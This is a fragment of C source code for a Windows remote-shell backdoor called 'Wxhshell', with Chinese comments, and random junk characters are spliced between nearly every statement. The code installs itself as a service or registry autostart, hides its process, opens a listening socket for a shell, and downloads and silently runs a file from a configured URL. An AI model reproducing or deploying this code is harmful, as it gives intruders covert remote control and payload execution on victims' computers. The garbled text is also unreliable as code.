eK8^e CloseHandle(hProcess); o/9LK yP9wYF^A\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }d\Tk(W if(hProcess==NULL) return 0; f3>6:( xXxh3 k\ HMODULE hMod; g74z]Uj.B char procName[255]; }%FuL5Tx unsigned long cbNeeded; |-Esc|J( LI;Efy L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
~
9~\f xP6?e s` CloseHandle(hProcess); ?r E]s!K {$1$]p~3o if(strstr(procName,"services")) return 1; // 以服务启动 B"Kce"! J[Yg]6 return 0; // 注册表启动 CC(*zrOd- } S{(p<%)[ q(tGbhQ // 主模块 P(gVF|J? int StartWxhshell(LPSTR lpCmdLine) :htq%gPex9 { O:=|b]t SOCKET wsl; J1Ki2I= BOOL val=TRUE; S O:V|Tfj int port=0; ^N2M/B|0 struct sockaddr_in door; BS,5W]ervE ,ibPSN5Ca if(wscfg.ws_autoins) Install(); ssyd8LC# o),6o'w( port=atoi(lpCmdLine); 1mVVPt^6 XZdr`$z f if(port<=0) port=wscfg.ws_port; u6Qf*_- K ?7nr\g"g( WSADATA data; .i&ZT}v3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $K_YC~ 2
ssj(Qo if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fxoi<!|iGY setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ag4Ga?&8ec door.sin_family = AF_INET; -6~y$c&c door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1.95 ^8 door.sin_port = htons(port); eBC%2TF hKZ`DB4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,WB_C\.#XN closesocket(wsl); Z-h7 return 1; D@\;@(
| } g?[&0r1 G>w?9:V} if(listen(wsl,2) == INVALID_SOCKET) { v]{uxlh closesocket(wsl); w0j/\XN2s return 1; }uI7\\S } :9F''f$AP Wxhshell(wsl); <ql w+RVt WSACleanup(); Ed^uA+D %t~SOkx return 0; mYh5#E41J .-KtB(t } FJf~vAQ )b&-3$? // 以NT服务方式启动 `/w\2n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2\nN4WL
5. { IObx^N_K DWORD status = 0; )W1(tEq59 DWORD specificError = 0xfffffff; 6
tc:A5mK rXY;m- serviceStatus.dwServiceType = SERVICE_WIN32; R>d@tr serviceStatus.dwCurrentState = SERVICE_START_PENDING; hr[B^?6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )W`SC mr] serviceStatus.dwWin32ExitCode = 0; ',JrY) serviceStatus.dwServiceSpecificExitCode = 0; HUJ|-)"dw serviceStatus.dwCheckPoint = 0; Q'|0?nBOY serviceStatus.dwWaitHint = 0; OpK.Lsd0y 8wII{FHX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +:> J Z$
if (hServiceStatusHandle==0) return; +%Lt". o `s`C{|wv status = GetLastError(); /}w#Jk4pD if (status!=NO_ERROR) y7JZKtsFA { ?Ml%$z@b? serviceStatus.dwCurrentState = SERVICE_STOPPED; h@~:(:zU$ serviceStatus.dwCheckPoint = 0; Il{^
j6 serviceStatus.dwWaitHint = 0; [6; N3?+ serviceStatus.dwWin32ExitCode = status; 69C8-fF0[I serviceStatus.dwServiceSpecificExitCode = specificError; hI|/>4< SetServiceStatus(hServiceStatusHandle, &serviceStatus); hhpv\1h# return; G [3k } 6x_T@ 8M^wuRn serviceStatus.dwCurrentState = SERVICE_RUNNING; L6:W'u^ serviceStatus.dwCheckPoint = 0; #M5_em4kN serviceStatus.dwWaitHint = 0; i s L{9^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {[2tG U9 } k]?z~ p PMgQxM*h // 处理NT服务事件,比如:启动、停止 IS[Vap: VOID WINAPI NTServiceHandler(DWORD fdwControl) {J~(#i
k
{ g ?afX1Sg switch(fdwControl) JFM"ii{8 { >[ ug
zJ case SERVICE_CONTROL_STOP: v@8S5KJ serviceStatus.dwWin32ExitCode = 0; L
42|>%uo serviceStatus.dwCurrentState = SERVICE_STOPPED; &P
8!]: serviceStatus.dwCheckPoint = 0; `,wcQ serviceStatus.dwWaitHint = 0; u12zRdn { 8RdP:*HY SetServiceStatus(hServiceStatusHandle, &serviceStatus); y(bsCsV& } yjEI/9_ return; $ph0ag+ case SERVICE_CONTROL_PAUSE: [kbC'Eh* serviceStatus.dwCurrentState = SERVICE_PAUSED; -IBO5;2_ break; x*.Ye5Jb case SERVICE_CONTROL_CONTINUE: Yd'H+r5b serviceStatus.dwCurrentState = SERVICE_RUNNING; ajn-KG!A break; }A{_L6qx case SERVICE_CONTROL_INTERROGATE: of9q"h break; "7Eo>g }; R?
O-x9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8HMo.*Ti9 } 3p=vz' rdO@X9z // 标准应用程序主函数 *FV0Vy int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )ll?-FZ
{ T yU&QXb BlXX:aZv // 获取操作系统版本 /7bw: h; OsIsNt=GetOsVer(); NQ?x8h3 GetModuleFileName(NULL,ExeFile,MAX_PATH); n0_B(997* : *ERRSL) // 从命令行安装 ~&1KrUu& if(strpbrk(lpCmdLine,"iI")) Install(); *^'wFbaBO ezp<@'0ZT // 下载执行文件 !#q{Z>H` if(wscfg.ws_downexe) { hM~eJv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ><[|
G9 WinExec(wscfg.ws_filenam,SW_HIDE); U.: sK* } A j,]n>{ ],n%Xp if(!OsIsNt) { i 'qMi~{ // 如果时win9x,隐藏进程并且设置为注册表启动 8QV t,
'I HideProc(); +p3 Z#KoC StartWxhshell(lpCmdLine); )S^z+3p } 1e/L\Y=m else l '/N3&5 if(StartFromService()) 3[VWTq)D= // 以服务方式启动 [*<.?9n)or StartServiceCtrlDispatcher(DispatchTable); [*Q-nZ/L else ! ,@ZQS // 普通方式启动 UxyY<H~Wx StartWxhshell(lpCmdLine); dY8(nQG _R)&k%i} return 0; q0Xoj__c!A }
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